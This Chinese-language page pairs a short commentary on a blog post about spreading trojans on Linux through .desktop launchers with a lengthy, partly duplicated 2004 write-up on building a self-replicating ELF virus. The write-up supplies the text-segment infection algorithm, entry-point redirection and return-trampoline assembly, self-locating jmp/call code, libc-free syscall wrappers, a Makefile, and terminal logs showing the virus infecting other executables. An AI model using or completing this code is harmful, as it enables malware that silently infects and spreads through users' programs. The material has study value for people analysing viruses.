Linux安全编程
如何編寫一個Linux病毒
?
? ? ? ? ?每個人都知道Linux沒有病毒,或者類似的東西。有人進而推論認為Linux對病毒之類的東西是免疫的,因為它設計的太棒了,Macs也是如此。其實這種觀點是錯誤的。
? ? ? ? ?名為foobar的博客者在Geekzone中發表了一篇名為“5個步驟寫出一個Linux病毒”的文章,文章雖然名義上是寫如何制造Linux病毒的,實際卻是告訴讀者現實世界中病毒是如何工作的以及Linux是多么的脆弱。
? ? ? ? ?而且foobar文章的難點不在于如何在Linux上寫出攻擊性代碼,更重要的是如何感染其他Linux操作系統電腦。實際上,foobar的病毒攻擊基本上也就是特洛伊木馬攻擊,而且foobar明確指出特洛伊木馬攻擊是Windows病毒的常用模式。
? ? ? ? ?有人指出foobar的攻擊并非嚴格意義上針對Linux的,而是GNOME或者KDE或者其他更高端軟件,這也的確是事實。實際上這給用戶提供了防范信息:許多人的電腦運行Linux,也便會有許多電腦運行GNOME或者KDE,攻擊后兩者便是攻擊Linux。當初對Windows的攻擊不也是先從攻擊Office、Flash和Acrobat等軟件開始的嗎?
? ? ? ? ?Foobar采用在e-mail中添加附件來傳播病毒(當然郵件的標題要有吸引力來誘使用戶點擊),這種方式也不甚妥當。因為Windows上的e-mail程序會去除那些可執行的附件,而且Webmail服務器有AV殺毒瀏覽,所以現在經常采用的方式是在e-mail中附加web鏈接來傳播病毒。在這一點上,Windows和Linux沒有太大的不同。
? ? ? ? ?很重要的一點是如何讓病毒在Linux上執行,這也是一個難點。在Windows中,用戶一旦下載了文件并運行,只有執行許可(execute permissions)運行了他才可以執行文件。Windows有執行許可(execute permissions),但默認它們是開的。而foobar采用的方法與此類似:KDE 和GNOME有個叫做“launchers”的設備(其文件名的末尾是".desktop"),它可以不需要執行許可的詳細設置就執行一個單獨的命令。這是一個長久以來就存在的問題,也是foobar利用的Linux的主要弱點(應該說是KDE 和GNOME的主要弱點)。
? ? ? ? ?Foobar博客的核心內容對我們而言并不陌生,但由此我們可以看到Windows上的病毒之所以多,并不是因為操作系統自身對病毒更友好,而是一些漏洞。而且幾乎每一種阻止病毒在Linux上發展的東西都采用在了Vista SP1中。
? ? ? ? ?用戶如何應對呢?foobar建議不要點擊Linux上不明的附件,當然在Windows中還不要點擊web鏈接。而且他個人建議解決KDE 和GNOME中.desktop的漏洞。我懷疑這會遭來強烈的反對,因為作為終端用戶系統這大大降低了可用性和讀取性。
? ? ? ? ?Foobar博客還揭示了其他問題:有許多特權提升(privilege elevation)的漏洞在各種需要本地讀取的Linux中,如果用戶沒有升級完全(Windows用戶也需要警惕這一點),foobar的病毒就會獲取你的本地讀取,同時攻擊決定利用哪一個特權提升(privilege elevation)bug。很多Linux用戶不知道如何升級漏洞補丁來阻擋特權進程(如Samba),從而將漏洞暴露給了黑客。
剖析Linux病毒原型工作過程和關鍵環節
一、 介紹寫這篇文章的目的主要是對最近寫的一個Linux病毒原型代碼做一個總結,同時向對這方面有興趣的朋友做一個簡單的介紹。閱讀這篇文章你需要一些知識,要對ELF有所了解、能夠閱讀一些嵌入了匯編的C代碼、了解病毒的基本工作原理。
二、 ELF Infector (ELF文件感染器)
為了制作病毒文件,我們需要一個ELF文件感染器,用于制造第一個帶毒文件。對于ELF文件感染技術,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》一文中已經有了一個非常好的分析、描述,在這方面我還沒有發現可以對其進行補充的地方,因此在這里我把Silvio Cesare對ELF Infection過程的總結貼出來,以供參考:
The final algorithm is using this information is.
* Increase p_shoff by PAGE_SIZE in the ELF header
* Patch the insertion code (parasite) to jump to the entry point
(original)
* Locate the text segment program header
* Modify the entry point of the ELF header to point to the new
code (p_vaddr + p_filesz)
* Increase p_filesz by account for the new code (parasite)
* Increase p_memsz to account for the new code (parasite)
* For each phdr who's segment is after the insertion (text segment)
* increase p_offset by PAGE_SIZE
* For the last shdr in the text segment
* increase sh_len by the parasite length
* For each shdr who's section resides after the insertion
* Increase sh_offset by PAGE_SIZE
* Physically insert the new code (parasite) and pad to PAGE_SIZE, into
the file - text segment p_offset + p_filesz (original)
在Linux病毒原型中所使用的gei - ELF Infector即是根據這個原理寫的。在附錄中你可以看到這個感染工具的源代碼: g-elf-infector.cg-elf-infector與病毒是獨立開的,其只在制作第一個病毒文件時被使用。我簡單介紹一下它的使用方法,g-elf-infector.c可以被用于任何希望--將二進制代碼插入到指定文件的文本段,并在目標文件執行時首先被執行--的用途上。g-elf-infector.c的接口很簡單,你只需要提供以下三個定義:
* 存放你的二進制代碼返回地址的地址,這里需要的是這個地址與代碼起始地址的偏移,用于返回到目標程序的正常入口
#define PARACODE_RETADDR_ADDR_OFFSET 1232
* 要插入的二進制代碼(由于用C編寫,所以這里需要以一個函數的方式提供)
void parasite_code(void);
* 二進制代碼的結束(為了易用,這里用一個結尾函數來進行代碼長度計算)
void parasite_code_end(void);
parasite_code_end應該是parasite_code函數后的第一個函數定義,通常應該如下表示
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {}
在這里存在一個問題,就是編譯有可能在編譯時將parasite_code_end放在parasite_code地址的前面,這樣會導致計算代碼長度時失敗,為了避免這個問題,你可以這樣做
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {parasite_code();}
有了這三個定義,g-elf-infector就能正確編譯,編譯后即可用來ELF文件感染
face=Verdana>
三、病毒原型的工作過程
1 首先通過ELF Infector將病毒代碼感染到一個ELF文件,這樣就創造了第一個帶毒文件,后續的傳播就由它來完成。
2 當帶毒文件被執行時,會首先跳到病毒代碼開始執行。
3 病毒代碼開始發作,在這個原型里,病毒會直接開始傳播。
4 病毒遍歷當前目錄下的每一個文件,如果是符合條件的ELF文件就開始感染。
5 病毒的感染過程和ELF Infector的過程類似,但由于工作環境的不同,代碼的實現也是有較大區別的。
6 目前傳染對ELF文件的基本要求是文本段要有剩余空間能夠容納病毒代碼,如果無法滿足,病毒會忽略此ELF。對于被感染過一次的ELF文件,文本段將不會有剩余的空間,因此二次感染是不會發生的。
7 病毒代碼執行過后,會恢復堆棧和所有寄存器(這很重要),然后跳回到真正的可執行文件入口,開始正常的運行過程。
上面對病毒原型的工作過程的介紹也許顯得千篇一律了,和我們早就熟知的關于病毒的一些介紹沒有什么區別?是的,的確是這樣,原理都是類似的,關鍵是要看實現。下面我們就將通過對一些技術問題的分析來了解具體的實現思路。
四、關鍵技術問題及處理
1 ELF文件執行流程重定向和代碼插入
在ELF文件感染的問題上,ELF Infector與病毒傳播時調用的infect_virus思路是一樣的:
* 定位到文本段,將病毒的代碼接到文本段的尾部。這個過程的關鍵是要熟悉ELF文件的格式,將病毒代碼復制到文本段尾部后,能夠根據需要調整文本段長度改變所影響到的后續段(segment)或節(section)的虛擬地址。同時注意把新引入的文本段部分與一個.setion建立關聯,防止strip這樣的工具將插入的代碼去除。還有一點就是要注意文本段增加長度的對齊問題,見ELF文檔中的描述:
p_align
As ``Program Loading'' later in this part describes, loadable
process segments must have congruent values for p_vaddr and
p_offset, modulo the page size.
* 通過過將ELF文件頭中的入口地址修改為病毒代碼地址來完成代碼重定向:
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
2 病毒代碼如何返回到真正的ELF文件入口
方法技巧應該很多,這里采用的方法是PUSH+RET組合:
__asm__ volatile (
...
"return:\n\t"
"push $0xAABBCCDD\n\t" /* push ret_addr */
"ret\n"
::);
其中0xAABBCCDD處存放的是真正的程序入口地址,這個值在插入病毒代碼時由感染程序來填寫。
五、 新編譯環境下的調試方法
grip2@linux:~/tmp/virus> ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h
調整Makefile文件,將編譯模式改為調試模式,即關掉-DNDEBUG選項
grip2@linux:~/tmp/virus> cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
編譯代碼
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
先獲取病毒代碼長度,然后調整gvirus.c中的#define PARACODE_LENGTH定義
grip2@linux:~/tmp/virus>. /gei -l <.這里獲取病毒代碼的長度
Parasite code length: 1744
獲取病毒代碼開始位置和0xaabbccdd的地址,計算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep ""
08048d80 :
8049450: e9 2b f9 ff ff jmp 8048d80
grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
08048d80 :
0x8049427與0x8048d80相減即獲得我們需要的偏移,用這個值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值
重新編譯
grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
grip2@linux:~/tmp/virus> ls
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h
建立一個測試目錄,測試一下
grip2@linux:~/tmp/virus> mkdir test
grip2@linux:~/tmp/virus> cp gei foo test
grip2@linux:~/tmp/virus> cd test
grip2@linux:~/tmp/virus/test> ls
gei foo
grip2@linux:~/tmp/virus/test> cp foo h
制作帶毒程序
grip2@linux:~/tmp/virus/test>. /gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file offset: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test> ll
total 44
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo
運行帶毒程序
grip2@linux:~/tmp/virus/test>. /h
.
..
gei
foo
h
.backup.h
real elf point
grip2@linux:~/tmp/virus/test> ll
total 52
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
測試上面帶毒程序運行后,是否感染了其他ELF程序
grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
real elf point
OK,成功
grip2@linux:~/tmp/virus/test> cp. ./foo hh
grip2@linux:~/tmp/virus/test> ll
total 64
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
hh
real elf point
grip2@linux:~/tmp/virus/test>
六、總結
由于我既不是一個virus coder也不是一個anti-viruscoder,所以對病毒技術的掌握應該是有欠缺的。如果在文章中對病毒技術的描述不夠準確,分析不夠到位,還請指正,謝謝。
?一個Linux病毒原型分析
分類: LINUX作者:grip2?
日期:2004/12/12
內容:
? ? 1 -- 介紹
? ? 2 -- ELF Infector (ELF文件感染器)
? ? 3 -- 病毒原型的工作過程
? ? 4 -- 關鍵技術問題及處理
? ? 5 -- 在一個新的編譯環境下的調試方法
? ? 6 -- 最后
? ? 7 -- 參考文獻
? ? 8 -- 附錄 - ELF文件感染工具和病毒原型源代碼
?一、 ** 介紹 ? ? ? ? ? ?
?
? ? 寫這篇文章的目的主要是對最近寫的一個Linux病毒原型代碼做一個總結,
同時向對這方面有興趣的朋友做一個簡單的介紹。
? ?
? ? 閱讀這篇文章你需要一些知識,要對ELF有所了解、能夠閱讀一些嵌入
了匯編的C代碼、了解病毒的基本工作原理。
[separator]
二、 ** ELF Infector (ELF文件感染器)
? ? 為了制作病毒文件,我們需要一個ELF文件感染器,用于制造第一個帶毒文件。
? ? 對于ELF文件感染技術,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》
一文中已經有了一個非常好的分析、描述,在這方面我還沒有發現可以對其進行補充的
地方,因此在這里我把Silvio Cesare對ELF Infection過程的總結貼出來,以供參考:
? ?
? ? The final algorithm is using this information is.
? ? * Increase p_shoff by PAGE_SIZE in the ELF header
? ? * Patch the insertion code (parasite) to jump to the entry point
? ? ? (original)
? ? * Locate the text segment program header
? ? ? ? * Modify the entry point of the ELF header to point to the new
? ? ? ? ? code (p_vaddr + p_filesz)
? ? ? ? * Increase p_filesz by account for the new code (parasite)
? ? ? ? * Increase p_memsz to account for the new code (parasite)
? ? * For each phdr who's segment is after the insertion (text segment)
? ? ? ? * increase p_offset by PAGE_SIZE
? ? * For the last shdr in the text segment
? ? ? ? * increase sh_len by the parasite length
? ? * For each shdr who's section resides after the insertion
? ? ? ? * Increase sh_offset by PAGE_SIZE
? ? * Physically insert the new code (parasite) and pad to PAGE_SIZE, into
? ? ? the file - text segment p_offset + p_filesz (original)
? ? ?
在Linux病毒原型中所使用的gei - ELF Infector即是根據這個原理寫的。在
附錄中你可以看到這個感染工具的源代碼: g-elf-infector.c
g-elf-infector與病毒是獨立開的,其只在制作第一個病毒文件時被使用。我簡單介
紹一下它的使用方法,g-elf-infector.c可以被用于任何希望--將二進制代碼插入到
指定文件的文本段,并在目標文件執行時首先被執行--的用途上。g-elf-infector.c
的接口很簡單,你只需要提供以下三個定義:
? ? * 存放你的二進制代碼返回地址的地址,這里需要的是這個地址與代碼起始
? ? 地址的偏移,用于返回到目標程序的正常入口
? ? ? ? #define PARACODE_RETADDR_ADDR_OFFSET 1232 ??
? ? ? ?
? ? * 要插入的二進制代碼(由于用C編寫,所以這里需要以一個函數的方式提供)
? ? ? ? void parasite_code(void);
? ? ? ?
? ? * 二進制代碼的結束(為了易用,這里用一個結尾函數來進行代碼長度計算)
? ? ? ? void parasite_code_end(void);
parasite_code_end應該是parasite_code函數后的第一個函數定義,通常應該如下表示
? ? void parasite_code(void)
? ? {
? ? ? ? ...
? ? ? ? ...
? ? ? ? ...
? ? }
? ? void parasite_code_end(void) {}
在這里存在一個問題,就是編譯有可能在編譯時將parasite_code_end放在parasite_code
地址的前面,這樣會導致計算代碼長度時失敗,為了避免這個問題,你可以這樣做
? ? void parasite_code(void)
? ? {
? ? ? ? ...
? ? ? ? ...
? ? ? ? ...
? ? }
? ? void parasite_code_end(void) {parasite_code();}
有了這三個定義,g-elf-infector就能正確編譯,編譯后即可用來ELF文件感染
~grip2@linux> ./gei foo
三、** 病毒原型的工作過程
? ? 1 首先通過ELF Infector將病毒代碼感染到一個ELF文件,這樣就創造了第一
個帶毒文件,后續的傳播就由它來完成。
? ? 2 當帶毒文件被執行時,會首先跳到病毒代碼開始執行。
? ? 3 病毒代碼開始發作,在這個原型里,病毒會直接開始傳播。
? ? 4 病毒遍歷當前目錄下的每一個文件,如果是符合條件的ELF文件就開始感染。
? ? 5 病毒的感染過程和ELF Infector的過程類似,但由于工作環境的不同,
代碼的實現也是有較大區別的。
? ? 6 目前傳染對ELF文件的基本要求是文本段要有剩余空間能夠容納病毒代碼,
如果無法滿足,病毒會忽略此ELF。對于被感染過一次的ELF文件,文本段將不會有
剩余的空間,因此二次感染是不會發生的。
? ? 7 病毒代碼執行過后,會恢復堆棧和所有寄存器(這很重要),然后跳回到
真正的可執行文件入口,開始正常的運行過程。
上面對病毒原型的工作過程的介紹也許顯得千篇一律了,和我們早就熟知的
關于病毒的一些介紹沒有什么區別?是的,的確是這樣,原理都是類似的,關鍵是要看
實現。下面我們就將通過對一些技術問題的分析來了解具體的實現思路。
? ?
? ?
四、** 關鍵技術問題及處理
1 ELF文件執行流程重定向和代碼插入
在ELF文件感染的問題上,ELF Infector與病毒傳播時調用的infect_virus思路是一樣的:
? ? * 定位到文本段,將病毒的代碼接到文本段的尾部。這個過程的關鍵是要熟悉
ELF文件的格式,將病毒代碼復制到文本段尾部后,能夠根據需要調整文本段長度改變
所影響到的后續段(segment)或節(section)的虛擬地址。同時注意把新引入的文本段部
分與一個.setion建立關聯,防止strip這樣的工具將插入的代碼去除。還有一點就是要
注意文本段增加長度的對齊問題,見ELF文檔中的描述:
? ? ? ? p_align
? ? ? ? ? As ``Program Loading'' later in this part describes, loadable
? ? ? ? ? process segments must have congruent values for p_vaddr and
? ? ? ? ? p_offset, modulo the page size.
? ? * 通過過將ELF文件頭中的入口地址修改為病毒代碼地址來完成代碼重定向:
? ? /* Modify the entry point of the ELF */
? ? org_entry = ehdr->e_entry;
? ? ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
? ?
2 病毒代碼如何返回到真正的ELF文件入口
方法技巧應該很多,這里采用的方法是PUSH+RET組合:
__asm__ volatile (
? ? ...
? ? "return:\n\t"
? ? "push $0xAABBCCDD\n\t" /* push ret_addr */
? ? "ret\n"
::);
其中0xAABBCCDD處存放的是真正的程序入口地址,這個值在插入病毒代碼時由感染程
序來填寫。
3 堆棧和寄存器的恢復
病毒代碼必須保證運行前、后的堆棧和寄存器內容完全相同,這通過增加額外的代碼
來完成。
在進入時:
? ? __asm__ volatile (
? ? ? ? "push %%eax\n\t"
? ? ? ? "push %%ecx\n\t"
? ? ? ? "push %%edx\n\t"
? ? ? ? ::);
退出時:
? ? __asm__ volatile (
? ? ? ? "popl %%edx\n\t"
? ? ? ? "popl %%ecx\n\t"
? ? ? ? "popl %%eax\n\t"
? ? ? ? "addl $0x102c, %%esp\n\t"
? ? ? ? "popl %%ebx\n\t"
? ? ? ? "popl %%esi\n\t"
? ? ? ? "popl %%edi\n\t"
? ? ? ? "popl %%ebp\n\t"
? ? ? ? "jmp return\n"
要注意上面的代碼是根據特定的編譯器、編譯選項來調整的,在不同的環境下如果重
新編譯病毒程序,可能還需要做一些調整。
4 字符串的使用
write(1, "hello world\n", 12);
在病毒代碼中這樣對一個字符串直接引用是不可以的。這是對字符串的使用是一個絕
對地址引用,病毒代碼在進入到一個新的宿主內后,這一絕對地址的內容是無法得到
保證的,因此在病毒代碼內應該使用相對地址或間接地址進行字符串訪問。
下面是Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》中的一個解決辦法,利用
了緩沖區溢出中shellcode的編寫技術:
In x86 Linux, some syscalls require the use of an absolute address pointing to
initialized data. ?This can be made relocatable by using a common trick used
in buffer overflow code.
? ? jmp ? ?A
B:
? ? pop %eax ? ?; %eax now has the address of the string
? ? . ? ? ? ?; continue as usual
? ? .
? ? .
A:
? ? call B
.string \"hello\"
By making a call directly proceeding the string of interest, the address of
the string is pushed onto the stack as the return address.
但是在編寫這個linux病毒原型代碼時,我并沒有使用這個方法,我盡力使代碼使用
C語言的語法:
? ? char tmpfile[32] = {'/','t','m','p','/','.','g','v','i','r','u','s','\0'};
#ifndef NDEBUG
? ? char err_type[32] = {'f','i','l','e',' ','t','y','p','e',' ','n','o','t',' ',
? ? ? ? ? ? 's','u','p','p','o','r','t','e','d','\n','\0'};
? ? char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k',' ',
? ? ? ? ? ? 'n','e','x','t',' ','f','i','l','e','\n','\0'};
#endif
在這里將字符串以字符數組的形式出現,編譯之后的代碼是這樣:
? ? ...
? ? ? ? movb ? ?$47, -8312(%ebp)
? ? ? ? movb ? ?$116, -8311(%ebp)
? ? ? ? movb ? ?$109, -8310(%ebp)
? ? ? ? movb ? ?$112, -8309(%ebp)
? ? ? ? movb ? ?$47, -8308(%ebp)
? ? ? ? movb ? ?$46, -8307(%ebp)
? ? ? ? movb ? ?$103, -8306(%ebp)
? ? ? ? movb ? ?$118, -8305(%ebp)
? ? ? ? movb ? ?$105, -8304(%ebp)
? ? ? ? movb ? ?$114, -8303(%ebp)
? ? ? ? movb ? ?$117, -8302(%ebp)
? ? ? ? movb ? ?$115, -8301(%ebp)
? ? ? ? ...
這樣帶來一個負面影響就是增加了代碼長度,但是適當的使用對代碼長度影響并不大。
值得注意的一點是,當字符數組定義的尺寸超過了64時,在我的編譯環境下,編譯器
對代碼進行了優化,會導致編譯后代碼成為:
...
.section ? ? ? ?.rodata
.LC0:
? ? ? ? .byte ? 47
? ? ? ? .byte ? 116
? ? ? ? .byte ? 109
? ? ? ? .byte ? 112
? ? ? ? .byte ? 47
? ? ? ? .byte ? 46
? ? ? ? .byte ? 103
? ? ? ? .byte ? 118
? ? ? ? .byte ? 105
? ? ? ? .byte ? 114
? ? ? ? .byte ? 117
? ? ? ? .byte ? 115
? ? ? ? .byte ? 0
...
數據被放到了.rodata section中,這樣就使得其無法隨病毒代碼一起進入宿主,會
造成訪問失敗,所以注意數組的申請盡量保持32以內,防止編譯器優化。
除此之外,使用整型數組的方法也與此類似,不再贅述。
5 遭遇gcc-3.3的bug
gvirus.c中有一部分的數據初始化是這樣的:
? ? ...
? ? char curdir[2] = {'.', 0};
? ? char newline = '\n';
? ? curdir[0] = '.';
? ? curdir[1] = 0;
? ? newline = '\n';
? ? if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0)
? ? ? ? goto out;
? ? ...
? ? ? ?
也許你會奇怪,為什么curdir和newline在已經初始化后還要重新賦值,這其中的原因
是為了繞過一個gcc的bug。
在我的編譯環境下,當只做
? ? char curdir[2] = {'.', 0};
? ? char newline = '\n';
這樣的初始化時,反匯編代碼如下:
...
0x08048cb0 : ? push ? %ebp
0x08048cb1 : ? push ? %edi
0x08048cb2 : ? push ? %esi
0x08048cb3 : ? push ? %ebx
0x08048cb4 : ? sub ? ?$0x20bc,%esp
0x08048cba : ?push ? %eax
0x08048cbb : ?push ? %ecx
0x08048cbc : ?push ? %edx
0x08048cbd : ?xor ? ?%ecx,%ecx
0x08048cbf : ?lea ? ?0x4e(%esp),%ebx ? ?<-- 使用curdir
0x08048cc3 : ?mov ? ?$0x5,%eax
0x08048cc8 : ?mov ? ?%ecx,%edx
0x08048cca : ?int ? ?$0x80 ? ? ? ?<-- g_open系統調用
0x08048ccc : ?mov ? ?%eax,0x38(%esp)
0x08048cd0 : ?cmp ? ?$0xffffff82,%eax
0x08048cd3 : ?jbe ? ?0x8048cdd?
0x08048cd5 : ?movl ? $0xffffffff,0x38(%esp)
0x08048cdd : ?mov ? ?0x38(%esp),%eax
0x08048ce1 : ?test ? %eax,%eax
0x08048ce3 : ?js ? ? 0x804915d?
0x08048ce9 : ?movw ? $0x2e,0x4e(%esp) ? ?<-- curdir的初始化
...
從注釋可以看出,在這種情況下,curdir的初始化被放到了g_open使用其做參數之后。
當加入
? ? curdir[0] = '.';
? ? curdir[1] = 0;
? ? newline = '\n';
后,反匯編代碼如下:
...
0x08048cb0 : ? push ? %ebp
0x08048cb1 : ? push ? %edi
0x08048cb2 : ? push ? %esi
0x08048cb3 : ? push ? %ebx
0x08048cb4 : ? sub ? ?$0x20bc,%esp
0x08048cba : ?push ? %eax
0x08048cbb : ?push ? %ecx
0x08048cbc : ?push ? %edx
0x08048cbd : ?xor ? ?%ecx,%ecx
0x08048cbf : ?movw ? $0x2e,0x4e(%esp) ? ?<-- curdir的初始化
0x08048cc6 : ?lea ? ?0x4e(%esp),%ebx ? ?<-- 作為參數使用
0x08048cca : ?mov ? ?$0x5,%eax
0x08048ccf : ?mov ? ?%ecx,%edx
0x08048cd1 : ?int ? ?$0x80 ? ? ? ?<-- g_open系統調用
...
從注釋可以看出,加入了這段代碼后,程序編譯正確,避免了這個編譯器bug。
6 通過C語言和inline保證病毒代碼的可讀性和可移植性
用匯編寫病毒代碼的一個缺點就是 - 可讀性和可移植性差,這也是使用匯編語言寫
程序的一個普遍的缺點。
在這個linux病毒原型代碼了主體使用的都是C語言,只有極少部分由于C語言本身的
限制而不得不使用gcc嵌入匯編。對于C語言部分,也盡量是用inline函數,保證代碼
層次分明,保證可讀性。
7 病毒代碼復制時如何獲得自己的起始地址?
雖然,病毒代碼部分向ELF Infector提供了代碼的起始地址,保證了生成第一個帶毒
文件時能夠找到代碼并插入到目標文件內。但是作為進入宿主內部的代碼在進行傳播
時卻無法使用這個地址,因為它的代碼位置已經受到了宿主的影響,這時它需要重新
定位自己的起始位置。
在寫這個病毒原型時,我并沒有參考過其它病毒的代碼,因此這里采用的也許并
不是一個最好的方法:
? ? /* Get start address of virus code */
? ? __asm__ volatile (
? ? ? ? "jmp get_start_addr\n"
? ? "infect_start:\n\t"
? ? ? ? "popl %0\n\t"
? ? ? ? :"=m" (para_code_start_addr)
? ? ? ? :);
? ? para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
? ?
? ? ... /* c代碼 */
? ? ...
? ?
? ? __asm__ volatile (
? ? ? ? ...
? ? ? ? "get_start_addr:\n\t"
? ? ? ? "call infect_start\n"
? ? "return:\n\t"
? ? ? ? "push $0xAABBCCDD\n\t" /* push ret_addr */
? ? ? ? "ret\n"
? ? ? ? ::);
? ? ? ?
通過緩沖區溢出中的一個技巧,jmp/call組合來得到push $0xAABBCCDD指令的地址。
這個地址是0xAABBCCDD地址向后一個push指令,而0xAABBCCDD的地址就是那個用于
存放病毒代碼返回地址的地址,這個地址相對于病毒代碼起始地址的偏移我們是知道
的,就是病毒代碼函數向ELF Infector接口提供的那個宏定義的值:
? ? #ifndef NDEBUG
? ? #define PARACODE_RETADDR_ADDR_OFFSET 1704
? ? #else
? ? #define PARACODE_RETADDR_ADDR_OFFSET 1232
? ? #endif
這樣病毒代碼在當前宿主中的位置就可以得到了(注意從匯編指令出來后,
para_code_start_addr中存放的是0xAABBCCDD的地址,我們減去偏移再減
一個push指令的長度,就是病毒代碼的起始地址):
? ? para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
8 拋棄C庫
由于病毒代碼要能在不同的ELF文件內容工作,所以我們必須要保證所有的相關函數
調用在病毒體內即可完成。而對C庫的使用將使我們很難做到這一點,即使有的C庫函
數是可以完全內聯的(完全內聯就是說,這個函數本身可以內聯,同時其內部沒有向
外的函數調用),但是隨著編譯環境的不同,這點也是不能得到根本保證的,因此我
們有必要選擇拋棄C庫。
沒有了C庫,我們使用到的一些函數調用就必須重新實現。在這個Linux病毒原型中有
兩種情況,一種是系統調用,另一種是普通的函數。
對于系統調用,我們采用了重新包裝的方法:
? ? static inline
? ? g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
? ? static inline
? ? g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
? ? static inline
? ? g_syscall3(int, open, const char *, file, int, flag, int, mode);
? ? static inline
? ? g_syscall1(int, close, int, fd);
? ? static inline
? ? g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
? ? ? ? ? ?int, flags, int, fd, off_t, offset);
? ? static inline
? ? g_syscall2(int, munmap, void *, addr, size_t, len);
? ? static inline
? ? g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
? ? static inline
? ? g_syscall2(int, fstat, int, filedes, struct stat *, buf);
? ?
并且修改了syscall包裝的宏定義,如
? ? #define g__syscall_return(type, res) \
? ? do { \
? ? ? ? if ((unsigned long)(res) >= (unsigned long)(-125)) { \
? ? ? ? ? ? res = -1; \
? ? ? ? } \
? ? ? ? return (type) (res); \
? ? } while (0)
? ? #define g_syscall0(type,name) \
? ? type g_##name(void) \
? ? { \
? ? long __res; \
? ? __asm__ volatile ("int $0x80" \
? ? ? ? : "=a" (__res) \
? ? ? ? : "0" (__NR_##name)); \
? ? g__syscall_return(type,__res); \
? ? } ??
? ?
對于普通的函數,直接復制一份函數定義:
static inline void * __memcpy(void * to, const void * from, size_t n)
{
? ? int d0, d1, d2;
? ? __asm__ __volatile__(
? ? ? ? "rep ; movsl\n\t"
? ? ? ? "testb $2,%b4\n\t"
? ? ? ? "je 1f\n\t"
? ? ? ? "movsw\n"
? ? ? ? "1:\ttestb $1,%b4\n\t"
? ? ? ? "je 2f\n\t"
? ? ? ? "movsb\n"
? ? ? ? "2:"
? ? ? ? : "=&c" (d0), "=&D" (d1), "=&S" (d2)
? ? ? ? :"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)
? ? ? ? : "memory");
? ? return (to);
}
9 保證病毒代碼的瘦身需要
為了保證病毒代碼體積不至于過于龐大,影響病毒代碼的感染,編寫代碼時也要注意
代碼體積問題。由于采用C代碼的方式,一些函數調用都是內聯的方式,因此每多一個
調用都會引起代碼體積的增加。
在進行ELF文件讀寫更是如此,read/write被頻繁的調用。為了減小這方面的影響,對
目標ELF文件進行了一個mmap處理,這樣地址空間直接被映射到文件,就消除了讀目標
文件時所要做的read調用,節省了一些空間:
? ? ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
? ? if (ehdr == MAP_FAILED) {
? ? ? ? goto err;
? ? }
? ?
? ? /* Check ELF magic-ident */
? ? if (ehdr->e_ident[EI_MAG0] != 0x7f
? ? ? ? || ehdr->e_ident[EI_MAG1] != 'E'
? ? ? ? || ehdr->e_ident[EI_MAG2] != 'L'
? ? ? ? || ehdr->e_ident[EI_MAG3] != 'F'
? ? ? ? || ehdr->e_ident[EI_CLASS] != ELFCLASS32
